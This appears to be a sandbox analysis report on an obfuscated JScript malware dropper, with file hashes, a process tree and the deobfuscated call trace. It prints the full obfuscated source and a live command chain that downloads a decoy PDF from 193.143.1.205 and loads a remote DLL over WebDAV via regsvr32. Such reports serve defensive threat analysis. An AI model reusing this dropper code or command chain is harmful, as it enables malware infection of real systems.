Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16942), with CRLF line terminators
Entropy (8bit):	4.9125796754073265
TrID:
File name:	241721637114311605.js
File size:	20'351 bytes
MD5:	f46b8beb11932806ff8fda0a1d5cce28
SHA1:	0cdc831989d4efd06187b941eb075722ec4664aa
SHA256:	e7f4c8170171f7facc536f46c45a03882743e63d40719e3e94868e14bf952bc6
SHA512:	d6bf58e11f5ae24d40e49e14b84e9150ef381c6194efb10f1379c7665a941337a09c3c44dfdf1d72ee90bfbe9f409f038997c3fca43eaf319470e1d580c05ad2
SSDEEP:	384:bSK7NSEOINb8dBhA2+8mhVI4rCZiJ0QbpI3peSHdgEb:bR79/NKS2+8BvEJ0QbpI3peSHdgG
TLSH:	8492634F9445C63EC1D442E1BD8EAEC2440D83DDC5B896EE38E3A409ACEF5C566E347A
File Content Preview:	function hffymphuh(){pgznlqn=[1031,3079,5127,4103,2055,3072];var bcgbptgbc=this[stjfb+axjhbwt+trplsprm+mystygkfz+ttjjtpfm+tzqmbbyc+ldfle+mzwcj](this[sytnih+vooswjrm+sziyrzb+trplsprm+biagfpy+stjfb+mzwcj][jtncdzw+trplsprm+ttjjtpfm+axjhbwt+mzwcj+ttjjtpfm+czb

File Icon


Icon Hash:	68d69b8bb6aa9a86

Target ID:	0
Start time:	12:41:42
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\241721637114311605.js"
Imagebase:	0x7ff6837f0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	12:41:42
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57732215922036.dll
Imagebase:	0x7ff7f7d50000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:41:42
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	12:41:42
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	12:41:47
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	12:41:47
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7f7d50000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	12:41:47
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6ea260000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	12:41:47
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	12:41:48
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	12:41:48
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1660,i,6968258112608186707,14990451332937064889,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function hffymphuh() {	hffymphuh() ➔ undefined
1	pgznlqn = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var bcgbptgbc = this[stjfb + axjhbwt + trplsprm + mystygkfz + ttjjtpfm + tzqmbbyc + ldfle + mzwcj] ( this[sytnih + vooswjrm + sziyrzb + trplsprm + biagfpy + stjfb + mzwcj][jtncdzw + trplsprm + ttjjtpfm + axjhbwt + mzwcj + ttjjtpfm + czbtll + qimwch + sepwa + ttjjtpfm + sziyrzb + mzwcj] ( sytnih + vooswjrm + sziyrzb + trplsprm + biagfpy + stjfb + mzwcj + kmjofwb + vooswjrm + fqfhftsfh + ttjjtpfm + dnlejbm + dnlejbm ) [cwtwzdu + ttjjtpfm + bfkewstx + cwtwzdu + ttjjtpfm + axjhbwt + cfurwyyx] ( gajnhv + imhaizriv + wbhdzybvt + icanlm + vxbjfu + jtncdzw + ofrarn + cwtwzdu + cwtwzdu + wbhdzybvt + cmajcdpf + jgdxuiidj + vxbjfu + ofrarn + vooswjrm + wbhdzybvt + cwtwzdu + gjylxn + jtncdzw + vgqbqd + ldfle + mzwcj + trplsprm + vgqbqd + dnlejbm + gpqcf + szivsfjy + axjhbwt + ldfle + ttjjtpfm + dnlejbm + gjylxn + tzqmbbyc + ldfle + mzwcj + ttjjtpfm + trplsprm + ldfle + axjhbwt + mzwcj + biagfpy + vgqbqd + ldfle + axjhbwt + dnlejbm + gjylxn + oqndutx + vgqbqd + sziyrzb + axjhbwt + dnlejbm + ttjjtpfm ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( rgvtpnfx = 0 ; rgvtpnfx < pgznlqn[dnlejbm + ttjjtpfm + ldfle + bfkewstx + mzwcj + fqfhftsfh] ; ++ rgvtpnfx )
4	{
5	if ( bcgbptgbc == pgznlqn[rgvtpnfx] )
6	{
7	bcgbptgbc = true;
8	break ;
9	}
10	}
11	if ( bcgbptgbc !== true )
12	this[sytnih + vooswjrm + sziyrzb + trplsprm + biagfpy + stjfb + mzwcj][qfnutmmup + rkjidqk + biagfpy + mzwcj] ( );
13	this[sytnih + vooswjrm + sziyrzb + trplsprm + biagfpy + stjfb + mzwcj][jtncdzw + trplsprm + ttjjtpfm + axjhbwt + mzwcj + ttjjtpfm + czbtll + qimwch + sepwa + ttjjtpfm + sziyrzb + mzwcj] ( sytnih + vooswjrm + sziyrzb + trplsprm + biagfpy + stjfb + mzwcj + kmjofwb + vooswjrm + fqfhftsfh + ttjjtpfm + dnlejbm + dnlejbm ) [trplsprm + rkjidqk + ldfle] ( sziyrzb + gopzis + cfurwyyx + gpqcf + gonixnc + sziyrzb + gpqcf + stjfb + vgqbqd + uizpxhx + ttjjtpfm + trplsprm + mystygkfz + fqfhftsfh + ttjjtpfm + dnlejbm + dnlejbm + kmjofwb + ttjjtpfm + imizdzen + ttjjtpfm + gpqcf + vwwgqmix + jtncdzw + vgqbqd + gopzis + gopzis + axjhbwt + ldfle + cfurwyyx + gpqcf + iyratkmdd + tzqmbbyc + ldfle + mfcsntnp + vgqbqd + cdeavp + ttjjtpfm + vwwgqmix + sytnih + ttjjtpfm + qimwch + cwtwzdu + ttjjtpfm + pawzgfra + rkjidqk + ttjjtpfm + mystygkfz + mzwcj + gpqcf + vwwgqmix + czbtll + rkjidqk + mzwcj + tcmywsydi + biagfpy + dnlejbm + ttjjtpfm + gpqcf + cuvcaqnr + mzwcj + ttjjtpfm + gopzis + stjfb + cuvcaqnr + gjylxn + biagfpy + ldfle + mfcsntnp + vgqbqd + biagfpy + sziyrzb + ttjjtpfm + kmjofwb + stjfb + cfurwyyx + xmjfcpqpd + gpqcf + fqfhftsfh + mzwcj + mzwcj + stjfb + khoiykk + gonixnc + gonixnc + itrvjo + eqvdqlty + zizaig + kmjofwb + itrvjo + crlwl + zizaig + kmjofwb + itrvjo + kmjofwb + oeqxm + vfbeu + xjjct + gonixnc + biagfpy + ldfle + mfcsntnp + vgqbqd + biagfpy + sziyrzb + ttjjtpfm + kmjofwb + stjfb + fqfhftsfh + stjfb + iyratkmdd + lypgkqyb + lypgkqyb + mystygkfz + mzwcj + axjhbwt + trplsprm + mzwcj + gpqcf + cuvcaqnr + mzwcj + ttjjtpfm + gopzis + stjfb + cuvcaqnr + gjylxn + biagfpy + ldfle + mfcsntnp + vgqbqd + biagfpy + sziyrzb + ttjjtpfm + kmjofwb + stjfb + cfurwyyx + xmjfcpqpd + lypgkqyb + lypgkqyb + sziyrzb + gopzis + cfurwyyx + gpqcf + gonixnc + sziyrzb + gpqcf + ldfle + ttjjtpfm + mzwcj + gpqcf + rkjidqk + mystygkfz + ttjjtpfm + gpqcf + gjylxn + gjylxn + itrvjo + eqvdqlty + zizaig + kmjofwb + itrvjo + crlwl + zizaig + kmjofwb + itrvjo + kmjofwb + oeqxm + vfbeu + xjjct + tavye + ogqohpcqx + ogqohpcqx + ogqohpcqx + ogqohpcqx + gjylxn + cfurwyyx + axjhbwt + mfcsntnp + uizpxhx + uizpxhx + uizpxhx + trplsprm + vgqbqd + vgqbqd + mzwcj + gjylxn + lypgkqyb + lypgkqyb + sziyrzb + gopzis + cfurwyyx + gpqcf + gonixnc + sziyrzb + gpqcf + trplsprm + ttjjtpfm + bfkewstx + mystygkfz + mfcsntnp + trplsprm + zizaig + oeqxm + gpqcf + gonixnc + mystygkfz + gpqcf + gjylxn + gjylxn + itrvjo + eqvdqlty + zizaig + kmjofwb + itrvjo + crlwl + zizaig + kmjofwb + itrvjo + kmjofwb + oeqxm + vfbeu + xjjct + tavye + ogqohpcqx + ogqohpcqx + ogqohpcqx + ogqohpcqx + gjylxn + cfurwyyx + axjhbwt + mfcsntnp + uizpxhx + uizpxhx + uizpxhx + trplsprm + vgqbqd + vgqbqd + mzwcj + gjylxn + xjjct + evykzw + evykzw + zizaig + oeqxm + oeqxm + itrvjo + xjjct + eqvdqlty + oeqxm + oeqxm + vfbeu + zizaig + sbiemw + kmjofwb + cfurwyyx + dnlejbm + dnlejbm, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57732215922036.dll",0,false) ➔ 0
14	}
15	jtncdzw = "V";
16	jtncdzw = "V";
17	jtncdzw = "U";
18	jtncdzw = "J";
19	jtncdzw = "V";
20	jtncdzw = "k";
21	jtncdzw = "J";
22	jtncdzw = "N";
23	jtncdzw = "x";
24	jtncdzw = "n";
25	jtncdzw = "x";
26	jtncdzw = "l";
27	jtncdzw = "l";
28	jtncdzw = "o";
29	jtncdzw = "u";
30	jtncdzw = "a";
31	jtncdzw = "u";
32	jtncdzw = "Y";
33	jtncdzw = "T";
34	jtncdzw = "C";
35	jtncdzw = "c";
36	jtncdzw = "C";
37	cfurwyyx = "i";
38	cfurwyyx = "m";
39	cfurwyyx = "o";
40	cfurwyyx = "z";
41	cfurwyyx = "h";
42	cfurwyyx = "g";
43	cfurwyyx = "K";
44	cfurwyyx = "s";
45	cfurwyyx = "h";
46	cfurwyyx = "b";
47	cfurwyyx = "v";
48	cfurwyyx = "u";
49	cfurwyyx = "Z";
50	cfurwyyx = "d";
51	mzwcj = "y";
52	mzwcj = "C";
53	mzwcj = "M";
54	mzwcj = "t";
55	mzwcj = "D";
56	mzwcj = "x";
57	mzwcj = "x";
58	mzwcj = "x";
59	mzwcj = "l";
60	mzwcj = "N";
61	mzwcj = "f";
62	mzwcj = "z";
63	mzwcj = "V";
64	mzwcj = "P";
65	mzwcj = "M";
66	mzwcj = "c";
67	mzwcj = "R";
68	mzwcj = "u";
69	mzwcj = "y";
70	mzwcj = "M";
71	mzwcj = "Z";
72	mzwcj = "e";
73	mzwcj = "E";
74	mzwcj = "W";
75	mzwcj = "N";
76	mzwcj = "o";
77	mzwcj = "Y";
78	mzwcj = "z";
79	mzwcj = "N";
80	mzwcj = "z";
81	mzwcj = "R";
82	mzwcj = "t";
83	stjfb = "X";
84	stjfb = "B";
85	stjfb = "Y";
86	stjfb = "e";
87	stjfb = "R";
88	stjfb = "T";
89	stjfb = "d";
90	stjfb = "Z";
91	stjfb = "n";
92	stjfb = "A";
93	stjfb = "G";
94	stjfb = "G";
95	stjfb = "O";
96	stjfb = "y";
97	stjfb = "j";
98	stjfb = "O";
99	stjfb = "D";
100	stjfb = "f";
101	stjfb = "Z";
102	stjfb = "S";
103	stjfb = "q";
104	stjfb = "r";
105	stjfb = "q";
106	stjfb = "K";
107	stjfb = "p";
108	tavye = "B";
109	tavye = "M";
110	tavye = "C";
111	tavye = "b";
112	tavye = "R";
113	tavye = "K";
114	tavye = "k";
115	tavye = "W";
116	tavye = "N";
117	tavye = "U";
118	tavye = "X";
119	tavye = "g";
120	tavye = "f";
121	tavye = "O";
122	tavye = "l";
123	tavye = "z";
124	tavye = "c";
125	tavye = "v";
126	tavye = "M";
127	tavye = "c";
128	tavye = "i";
129	tavye = "c";
130	tavye = "N";
131	tavye = "O";
132	tavye = "m";
133	tavye = "@";
134	axjhbwt = "k";
135	axjhbwt = "p";
136	axjhbwt = "A";
137	axjhbwt = "x";
138	axjhbwt = "q";
139	axjhbwt = "a";
140	axjhbwt = "M";
141	axjhbwt = "Q";
142	axjhbwt = "c";
143	axjhbwt = "s";
144	axjhbwt = "r";
145	axjhbwt = "e";
146	axjhbwt = "e";
147	axjhbwt = "y";
148	axjhbwt = "t";
149	axjhbwt = "p";
150	axjhbwt = "a";
151	rkjidqk = "P";
152	rkjidqk = "U";
153	rkjidqk = "E";
154	rkjidqk = "y";
155	rkjidqk = "m";
156	rkjidqk = "s";
157	rkjidqk = "Z";
158	rkjidqk = "p";
159	rkjidqk = "v";
160	rkjidqk = "D";
161	rkjidqk = "g";
162	rkjidqk = "m";
163	rkjidqk = "q";
164	rkjidqk = "m";
165	rkjidqk = "u";
166	rkjidqk = "l";
167	rkjidqk = "W";
168	rkjidqk = "j";
169	rkjidqk = "e";
170	rkjidqk = "t";
171	rkjidqk = "M";
172	rkjidqk = "G";
173	rkjidqk = "u";
174	qfnutmmup = "L";
175	qfnutmmup = "g";
176	qfnutmmup = "u";
177	qfnutmmup = "X";
178	qfnutmmup = "t";
179	qfnutmmup = "t";
180	qfnutmmup = "I";
181	qfnutmmup = "W";
182	qfnutmmup = "L";
183	qfnutmmup = "l";
184	qfnutmmup = "F";
185	qfnutmmup = "T";
186	qfnutmmup = "m";
187	qfnutmmup = "a";
188	qfnutmmup = "w";
189	qfnutmmup = "P";
190	qfnutmmup = "Z";
191	qfnutmmup = "b";
192	qfnutmmup = "M";
193	qfnutmmup = "c";
194	qfnutmmup = "g";
195	qfnutmmup = "n";
196	qfnutmmup = "g";
197	qfnutmmup = "R";
198	qfnutmmup = "a";
199	qfnutmmup = "P";
200	qfnutmmup = "k";
201	qfnutmmup = "C";
202	qfnutmmup = "I";
203	qfnutmmup = "v";
204	qfnutmmup = "i";
205	qfnutmmup = "z";
206	qfnutmmup = "Q";
207	sytnih = "h";
208	sytnih = "l";
209	sytnih = "p";
210	sytnih = "J";
211	sytnih = "Z";
212	sytnih = "J";
213	sytnih = "q";
214	sytnih = "z";
215	sytnih = "x";
216	sytnih = "V";
217	sytnih = "p";
218	sytnih = "T";
219	sytnih = "N";
220	sytnih = "Y";
221	sytnih = "E";
222	sytnih = "G";
223	sytnih = "u";
224	sytnih = "u";
225	sytnih = "R";
226	sytnih = "W";
227	evykzw = "G";
228	evykzw = "T";
229	evykzw = "L";
230	evykzw = "U";
231	evykzw = "u";
232	evykzw = "R";
233	evykzw = "B";
234	evykzw = "e";
235	evykzw = "U";
236	evykzw = "7";
237	tcmywsydi = "U";
238	tcmywsydi = "a";
239	tcmywsydi = "w";
240	tcmywsydi = "f";
241	tcmywsydi = "a";
242	tcmywsydi = "W";
243	tcmywsydi = "H";
244	tcmywsydi = "r";
245	tcmywsydi = "a";
246	tcmywsydi = "O";
247	tcmywsydi = "f";
248	tcmywsydi = "B";
249	tcmywsydi = "p";
250	tcmywsydi = "X";
251	tcmywsydi = "g";
252	tcmywsydi = "h";
253	tcmywsydi = "G";
254	tcmywsydi = "h";
255	tcmywsydi = "y";
256	tcmywsydi = "s";
257	tcmywsydi = "c";
258	tcmywsydi = "x";
259	tcmywsydi = "L";
260	tcmywsydi = "T";
261	tcmywsydi = "o";
262	tcmywsydi = "c";
263	tcmywsydi = "y";
264	tcmywsydi = "K";
265	tcmywsydi = "i";
266	tcmywsydi = "h";
267	tcmywsydi = "h";
268	tcmywsydi = "F";
269	tcmywsydi = "O";
270	tcmywsydi = "h";
271	tcmywsydi = "z";
272	tcmywsydi = "d";
273	tcmywsydi = "j";
274	tcmywsydi = "k";
275	tcmywsydi = "o";
276	tcmywsydi = "E";
277	tcmywsydi = "O";
278	tcmywsydi = "k";
279	tcmywsydi = "K";
280	tcmywsydi = "F";
281	sepwa = "a";
282	sepwa = "u";
283	sepwa = "b";
284	sepwa = "H";
285	sepwa = "p";
286	sepwa = "e";
287	sepwa = "U";
288	sepwa = "d";
289	sepwa = "a";
290	sepwa = "E";
291	sepwa = "v";
292	sepwa = "t";
293	sepwa = "Y";
294	sepwa = "j";
295	imhaizriv = "w";
296	imhaizriv = "B";
297	imhaizriv = "T";
298	imhaizriv = "i";
299	imhaizriv = "B";
300	imhaizriv = "a";
301	imhaizriv = "n";
302	imhaizriv = "W";
303	imhaizriv = "P";
304	imhaizriv = "j";
305	imhaizriv = "J";
306	imhaizriv = "H";
307	imhaizriv = "Q";
308	imhaizriv = "I";
309	imhaizriv = "a";
310	imhaizriv = "y";
311	imhaizriv = "a";
312	imhaizriv = "K";
313	imhaizriv = "t";
314	imhaizriv = "b";
315	imhaizriv = "b";
316	imhaizriv = "X";
317	imhaizriv = "J";
318	imhaizriv = "k";
319	imhaizriv = "e";
320	imhaizriv = "E";
321	imhaizriv = "W";
322	imhaizriv = "h";
323	imhaizriv = "U";
324	imhaizriv = "h";
325	imhaizriv = "K";
326	imhaizriv = "G";
327	imhaizriv = "e";
328	imhaizriv = "B";
329	imhaizriv = "s";
330	imhaizriv = "N";
331	imhaizriv = "b";
332	imhaizriv = "m";
333	imhaizriv = "s";
334	imhaizriv = "K";
335	kmjofwb = "c";
336	kmjofwb = "u";
337	kmjofwb = ".";
338	cdeavp = "u";
339	cdeavp = "M";
340	cdeavp = "M";
341	cdeavp = "v";
342	cdeavp = "v";
343	cdeavp = "W";
344	cdeavp = "c";
345	cdeavp = "e";
346	cdeavp = "R";
347	cdeavp = "R";
348	cdeavp = "O";
349	cdeavp = "E";
350	cdeavp = "z";
351	cdeavp = "k";
352	vwwgqmix = "C";
353	vwwgqmix = "k";
354	vwwgqmix = "j";
355	vwwgqmix = "u";
356	vwwgqmix = "O";
357	vwwgqmix = "B";
358	vwwgqmix = "o";
359	vwwgqmix = "Q";
360	vwwgqmix = "H";
361	vwwgqmix = "Z";
362	vwwgqmix = "T";
363	vwwgqmix = "m";
364	vwwgqmix = "k";
365	vwwgqmix = "I";
366	vwwgqmix = "R";
367	vwwgqmix = "v";
368	vwwgqmix = "J";
369	vwwgqmix = "S";
370	vwwgqmix = "Y";
371	vwwgqmix = "f";
372	vwwgqmix = "Y";
373	vwwgqmix = "v";
374	vwwgqmix = "x";
375	vwwgqmix = "y";
376	vwwgqmix = "g";
377	vwwgqmix = "X";
378	vwwgqmix = "Q";
379	vwwgqmix = "W";
380	vwwgqmix = "g";
381	vwwgqmix = "p";
382	vwwgqmix = "N";
383	vwwgqmix = "j";
384	vwwgqmix = "S";
385	vwwgqmix = "O";
386	vwwgqmix = "B";
387	vwwgqmix = "i";
388	vwwgqmix = "n";
389	vwwgqmix = "-";
390	gonixnc = "D";
391	gonixnc = "E";
392	gonixnc = "A";
393	gonixnc = "j";
394	gonixnc = "J";
395	gonixnc = "P";
396	gonixnc = "H";
397	gonixnc = "Y";
398	gonixnc = "l";
399	gonixnc = "H";
400	gonixnc = "k";
401	gonixnc = "j";
402	gonixnc = "U";
403	gonixnc = "F";
404	gonixnc = "Y";
405	gonixnc = "d";
406	gonixnc = "n";
407	gonixnc = "B";
408	gonixnc = "b";
409	gonixnc = "R";
410	gonixnc = "Z";
411	gonixnc = "/";
412	khoiykk = "y";
413	khoiykk = "u";
414	khoiykk = "x";
415	khoiykk = "V";
416	khoiykk = "E";
417	khoiykk = "n";
418	khoiykk = "D";
419	khoiykk = "a";
420	khoiykk = "D";
421	khoiykk = "M";
422	khoiykk = "f";
423	khoiykk = "s";
424	khoiykk = "F";
425	khoiykk = "y";
426	khoiykk = ":";
427	mystygkfz = "U";
428	mystygkfz = "M";
429	mystygkfz = "d";
430	mystygkfz = "o";
431	mystygkfz = "K";
432	mystygkfz = "K";
433	mystygkfz = "l";
434	mystygkfz = "n";
435	mystygkfz = "y";
436	mystygkfz = "j";
437	mystygkfz = "l";
438	mystygkfz = "L";
439	mystygkfz = "k";
440	mystygkfz = "w";
441	mystygkfz = "b";
442	mystygkfz = "s";
443	vgqbqd = "J";
444	vgqbqd = "u";
445	vgqbqd = "x";
446	vgqbqd = "W";
447	vgqbqd = "F";
448	vgqbqd = "c";
449	vgqbqd = "Z";
450	vgqbqd = "a";
451	vgqbqd = "v";
452	vgqbqd = "F";
453	vgqbqd = "e";
454	vgqbqd = "J";
455	vgqbqd = "r";
456	vgqbqd = "A";
457	vgqbqd = "F";
458	vgqbqd = "C";
459	vgqbqd = "m";
460	vgqbqd = "e";
461	vgqbqd = "z";
462	vgqbqd = "m";
463	vgqbqd = "A";
464	vgqbqd = "m";
465	vgqbqd = "M";
466	vgqbqd = "Z";
467	vgqbqd = "g";
468	vgqbqd = "s";
469	vgqbqd = "o";
470	lypgkqyb = "W";
471	lypgkqyb = "y";
472	lypgkqyb = "X";
473	lypgkqyb = "E";
474	lypgkqyb = "F";
475	lypgkqyb = "z";
476	lypgkqyb = "q";
477	lypgkqyb = "I";
478	lypgkqyb = "Z";
479	lypgkqyb = "m";
480	lypgkqyb = "a";
481	lypgkqyb = "v";
482	lypgkqyb = "H";
483	lypgkqyb = "V";
484	lypgkqyb = "e";
485	lypgkqyb = "m";
486	lypgkqyb = "Z";
487	lypgkqyb = "z";
488	lypgkqyb = "V";
489	lypgkqyb = "e";
490	lypgkqyb = "k";
491	lypgkqyb = "S";
492	lypgkqyb = "A";
493	lypgkqyb = "X";
494	lypgkqyb = "Z";
495	lypgkqyb = "U";
496	lypgkqyb = "D";
497	lypgkqyb = "u";
498	lypgkqyb = "B";
499	lypgkqyb = "m";
500	lypgkqyb = "T";
501	lypgkqyb = "p";
502	lypgkqyb = "d";
503	lypgkqyb = "M";
504	lypgkqyb = "M";
505	lypgkqyb = "A";
506	lypgkqyb = "m";
507	lypgkqyb = "C";
508	lypgkqyb = "U";
509	lypgkqyb = "b";
510	lypgkqyb = "e";
511	lypgkqyb = "C";
512	lypgkqyb = "s";
513	lypgkqyb = "J";
514	lypgkqyb = "&";
515	gjylxn = "N";
516	gjylxn = "D";
517	gjylxn = "X";
518	gjylxn = "X";
519	gjylxn = "n";
520	gjylxn = "b";
521	gjylxn = "T";
522	gjylxn = "k";
523	gjylxn = "V";
524	gjylxn = "t";
525	gjylxn = "e";
526	gjylxn = "E";
527	gjylxn = "p";
528	gjylxn = "O";
529	gjylxn = "I";
530	gjylxn = "G";
531	gjylxn = "m";
532	gjylxn = "O";
533	gjylxn = "Y";
534	gjylxn = "g";
535	gjylxn = "W";
536	gjylxn = "V";
537	gjylxn = "B";
538	gjylxn = "R";
539	gjylxn = "G";
540	gjylxn = "L";
541	gjylxn = "h";
542	gjylxn = "t";
543	gjylxn = "F";
544	gjylxn = "F";
545	gjylxn = "p";
546	gjylxn = "N";
547	gjylxn = "o";
548	gjylxn = "a";
549	gjylxn = "d";
550	gjylxn = "H";
551	gjylxn = "q";
552	gjylxn = "Z";
553	gjylxn = "\\";
554	vxbjfu = "E";
555	vxbjfu = "X";
556	vxbjfu = "p";
557	vxbjfu = "H";
558	vxbjfu = "s";
559	vxbjfu = "x";
560	vxbjfu = "j";
561	vxbjfu = "D";
562	vxbjfu = "e";
563	vxbjfu = "i";
564	vxbjfu = "U";
565	vxbjfu = "H";
566	vxbjfu = "K";
567	vxbjfu = "L";
568	vxbjfu = "O";
569	vxbjfu = "I";
570	vxbjfu = "x";
571	vxbjfu = "C";
572	vxbjfu = "D";
573	vxbjfu = "e";
574	vxbjfu = "u";
575	vxbjfu = "J";
576	vxbjfu = "q";
577	vxbjfu = "A";
578	vxbjfu = "M";
579	vxbjfu = "E";
580	vxbjfu = "S";
581	vxbjfu = "W";
582	vxbjfu = "p";
583	vxbjfu = "w";
